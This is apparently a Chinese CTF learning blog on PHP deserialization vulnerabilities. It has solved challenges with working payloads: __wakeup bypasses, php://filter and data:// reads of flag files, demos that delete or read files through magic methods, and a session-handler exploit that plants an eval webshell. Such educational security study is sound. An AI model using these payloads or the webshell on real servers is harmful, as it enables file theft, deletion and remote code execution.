前言
最近写题的时候,老是碰见序列化和反序列化的题,简单的还行,一复杂,我就不会了,这次系统学习一下好好总结。
PHP序列化
在了解反序列化前,先了解一下序列化。
相关函数
serialize() #将对象格式化成有序的字符串
序列化的目的是方便数据的传输和存储。
在PHP中序列化和反序列化一般用作缓存。
举个简单的例子
序列化数组
<?php
$a= array('flag','time','ddc');
echo (serialize($a)); #序列化数组
?>
a:3:{i:0;s:4:"flag";i:1;s:4:"time";i:2;s:3:"ddc";}
#a代表array 3代表数组里有三个元素
#O代表object
#i代表下标,s代表string,i代表整型,d代表浮点型
序列化类
<?php
class test{
public $a;
private $b;
protected $c;
function __construct() #给a,b,c,赋值
{
$this->a='aliyun';
$this->b='baiduyun';
$this->c='wanxiang';
}
}
$a=new test();
echo (serialize($a));
?>
变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式 。如果直接输出会导致不可见字符<0x00>丢失。
<?php
class test{
public $a=aliyun;
private $b=baiduyun;
protected $c=wanxiang;
}
$a=new test();
echo urlencode(serialize($a));
?>
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22aliyun%22%3Bs%3A7%3A%22%00test%00b%22%3Bs%3A8%3A%22baiduyun%22%3Bs%3A4%3A%22%00%2A%00c%22%3Bs%3A8%3A%22wanxiang%22%3B%7D
PHP反序列化
反序列化,像它的名字一样,和序列化的过程刚好相反
相关函数
unserialize() #将有序的字符串转化为原来的对象
举个例子
<?php
class test{
public $a=aliyun;
public $b=baiduyun;
}
$a=new test();
echo (serialize($a));
print_r(unserialize(serialize($a)))
?>
O:4:"test":2:{s:1:"a";s:6:"aliyun";s:1:"b";s:8:"baiduyun";}
test Object
(
[a] => aliyun
[b] => baiduyun
)
可以说是很形象了
PHP反序列化的常用魔术方法
这些东西在百度上一搜一堆,简单列举,不在赘述
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
题目实战总结
先来简单的试试手,了解一下题目是怎么出的
攻防世界 web进阶 unserialize3
class xctf{ //定义一个xctf类
public $flag = '111'; //$flag赋值
public function __wakeup(){ //wakeup方法
exit('bad requests');
}
}
?code= //传参
由题目和wakeup方法来看,估计后台有反序列化,我们这里传参只需要把xctf给实例化并且序列化,绕过wakeup方法即可
<?php
class xctf{ //定义一个xctf类
public $flag = '111'; //$flag赋值
public function __wakeup(){ //wakeup方法
exit('bad requests');
}
}
$a=new xctf();
echo (serialize($a));
?>
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//绕过wakeup方法,需要将类里面的属性数量不等于真实数量即可
O:4:"xctf":3:{s:4:"flag";s:3:"111";}
得到flag
攻防世界 web进阶 Web_php_unserialize
<?php
class Demo { //定义一个类
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php //提示flag在fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); //用base64解码
if (preg_match('/[oc]:\d+:/i', $var)) { //过滤
die('stop hacking!');
} else {
@unserialize($var); //反序列化得到的参数
}
} else {
highlight_file("index.php"); //返回当前页面
}
?>
做这道题的时候,我就可迷糊,要序列化也只能序列化index.php,怎么才能回显fl4g.php呢。
后来发现真的是菜的扣脚
只需要在序列化的时候传进去一个fl4g.php的参数即可
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=(serialize($a));
//O:4:"Demo":1:{s:10:"<0x00>Demo<0x00>file";s:7:"fl4gphp";}
$a=str_replace('o:4', 'o:+4',$b ); //绕过过滤
$a=str_replace(':1:',':2:',$a); //绕过wakeup函数
echo (base64_encode($a));
?>
小知识点:
绕过过滤不仅可以用加号
如果+被过滤了
还可以在外面套一层数组
$a=new Demo('fl4g.php');
$b=(serialize(array($a)));
[极客大挑战 2019]PHP
可以直接想到www.zip,(因为我就知道www.zip可能会泄露源码)根备份网站有关
其实如果想不到,可以用dirsearch扫一下
**主要代码 **
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
由代码知道需要传入password=100,uername=admin,但是还有一个wakeup方法,需要绕过
<?php
class Name{
private $username = 'admin';
private $password = 100;
}
$a=new Name;
$a=serialize($a);
$a=str_replace(2, 3, $a); //绕过wakeup方法
$a=urlencode($a); //防止\x00字符丢失
echo $a;
?>
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
payload:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() { //对各个属性赋值
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process(); //指向方法process
}
public function process() {
if($this->op == "1") { //如果op=1,引用方法write()
$this->write();
} else if($this->op == "2") { //如果op=2,引用方法read()和output
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) { //filename和content存在
if(strlen((string)$this->content) > 100) {//content长度不超过100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!"); //将content写入名字为filename的文件,成功输出successful
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() { //将filename文件读入$res
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>
";
echo $s; //输出结果$s
}
function __destruct() { //如果op=2,则使其等于1 content清空,且调用process
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++) //ord()返回字符串的第一字母的ascii码
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;//确保ASCII码均为32到125
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; //把get到的str转换为字符串
if(is_valid($str)) {
$obj = unserialize($str);
}
}
到这里,作用分析完就没有思路了,还是写得少
如果op=1,调用write,把content写入filename中
如果op=2,调用read方法把filename的东西读出来,调用output方法,把filename读出来的东西输出
这里 思路 就有了
op=1
filename写入PHP伪协议读取flag.php
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a= new FileHandler;
echo(serialize($a));
?>
但是这里并不正确,因为protected的变量序列化的时候会出现\x00,其中\x00为ASCII码为0的字符,会被is_valid函数拦下来
绕过方法有以下两种
1.php7.1+的版本对属性类型不敏感,所以用public也能正常回显
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a= new FileHandler;
echo(serialize($a));
?>
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
payload
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
or this
[ZJCTF 2019]NiZhuanSiWei
这道题和反序列化有关系,但是太简单,所以关系不大
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br>
<h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
1.传入参数text并且用file_get_contents函数读取,注意file_get_contents此函数读取文件,不读取变量,所以不能直接传入welcome to the zjctf,需要使用data伪协议
所以
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2.过滤了flag,看到他的提示,可以明显的知道是让查看useless.php的
所以
file=php://filter/read=convert.base64-encode/resource=useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
话不多说,直接序列化
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo (serialize($a));
?>
O:4:"Flag":1:{s:4:"file";s:7:"flagphp";} //.被过滤了,手动加把
所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
因为useless.php内容已经知道,所以不用查看useless.php的内容
PHP反序列化漏洞
了解各个魔法函数执行次序
写一个简单的测试
<?php
class test{
public $a;
public $b;
function __construct(){
echo "正在调用__construct()<br>
";
}
function __destruct(){
echo "正在调用__destruct()<br>
";
}
function __wakeup(){
echo "正在调用__wakeup()<br>
";
}
function __sleep(){
echo "正在调用__sleep()<br>
";
return array('a','b');
}
function __toString(){
echo "正在调用__toString()<br>
";
return $this->a.":".$this->b."<br>
";
}
}
echo "开始初始化对象<br>
";
$test = new test();
$test->a="cool";
$test->b="really";
echo "创建对象并给其属性赋值:<br>
";
echo "开始序列化对象。。。<br>
";
$str = serialize($test);
echo "对象序列化后的字符串:".$str."<br>
";
echo "开始反序列化对象。。。<br>
";
$str2 = unserialize($str);
echo $str2;
?>
删除文件
用佬写的简单的本地案例直接拿来用了
//2.php
<?php
class delete
{
public $filename = 'error';
function __destruct()
{
echo $this->filename." was deleted.</br>";
//uplink函数是删除文件,dirname函数输出路径;
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
//3.php
<?php
include '2.php';
class student
{
public $name='';
public $age='';
public function information()
{
echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
}
}
$zs=unserialize($_GET['id']);
?>
这是在本地写的两个文件,然而真实情况并非如此。
首先你要找到2.php这种有魔法函数,且魔法函数里面还能进行一些危险操作的文件。
其次,你还需要找这个文件下面是否有serialize或者unserialize的函数,且参数可控,我们才能对文件进行危险操作。
将delete类进行序列化,且对$filename赋值为我们想删除的文件。
//test.php
<?php
//复制delete类的序列化内容
class delete
{
public $filename = 'error';
}
//实例化delete
$payload=new delete();
//赋值删除文件名
$payload->filename='text.txt';
//生成序列化字符串
echo serialize($payload);
?>
测试:
可以看到确实可以删除文件
这里只是阐述原理,现实中并非如此简单
查看文件
和删除的漏洞差不多,只需要对2.php的文件进行修改,将destruct改为toString,使用file_get_contents函数
//2.php
<?php
class read
{
public $filename = 'error';
function __toString()
{
//file_get_contents()函数是把文件内容赋予一个变量
return file_get_contents($this->filename);
}
}
?>
//3.php
<?php
include '2.php';
class student
{
public $name='';
public $age='';
public function information()
{
echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
}
}
$zs=unserialize($_GET['id']);
echo $zs;
?>
大意了,我以为3.php里面不需要改,但是最后输出了$zs,真是粗心了
构造test.php
//test.php
<?php
//复制delete类的序列化内容
class read
{
public $filename = 'error';
}
//实例化read
$payload=new read();
//赋值读取文件名
$payload->filename='test.txt';
//生成序列化字符串
echo serialize($payload);
?>
测试
小结
这个漏洞并非一成不变,它可以有很多存在形式
但是也是有存在条件的
unserialize的参数可控
有对应的魔法函数里面是对文件的增删查改等操作
session反序列化漏洞
在学习之前,先了解session在PHP中的相关配置
session.save_path="" --设置session的存储路径,默认在/tmp
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字。默认使用php
其中用来处理序列化和反序列化的处理器并非只有php
处理器:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 **
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 **
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 **
上面的知识都是可以百度的
下面写一个简单的例子展示一下session的存储过程
//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
//session,serialize_handler是设置Session的序列化引擎,默认为php引擎
session_start();
$_SESSION['pdd']=$_GET['pdd'];
?>
访问127.0.0.1/session.php
随便传入值
到保存session的文件夹
然后就可以了解session 反序列化的原理了
分析:
选择不同的处理器,处理方式也不一样,如果序列化和储存session与反序列化的方式不同,就有可能导致漏洞的产生。
别的师傅提供的demo,我修改了一下
//session.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ddd']=$_GET['ddd'];
?>
//test.php
<?php
ini_set('session.serialize_handler',"php");
session_start();
class ddd{
var $a;
function __destruct(){
$fp = fopen("D:\phpstudy_pro\WWW\shell.php", "w");
fputs($fp,$this->a);
fclose($fp);
}
}
?>
可以看到两个页面的session序列化反序列化均不同
我们的目的就是利用session反序列化漏洞写入一个一句话木马
首先访问第一个页面,传入我们实例化且赋值的ddd类。
<?php
class ddd{
var $a='<?php eval($_POST["abc"]);?>';
}
$s=new ddd();
echo serialize($s);
?>
O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
\\要手动在最前端加 | 来满足第二个页面php的引擎
http://127.0.0.1/session.php?ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
再访问test.php之后,查看本地的www文件,出现shell.php,写入成功。
其原理就是:php_serialize处理器把 | 当成字符串处理,但是php处理器, 把竖线看做键名与值的分割符。导致 第二个文件解析session文件的时候,直接对竖线后面的值,进行反序列化处理。
这里我也不明白,为什么会直接对竖线后的值进行反序列化处理
查到Y4爷有解释
因为**session_start()**这个函数
session_start()官方文档:
_当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $SESSION 超级全局变量
总结
通过这些实战,我也是比较了解序列化和反序列化了。以后遇见相关新知识点还会再写。
加油!!!!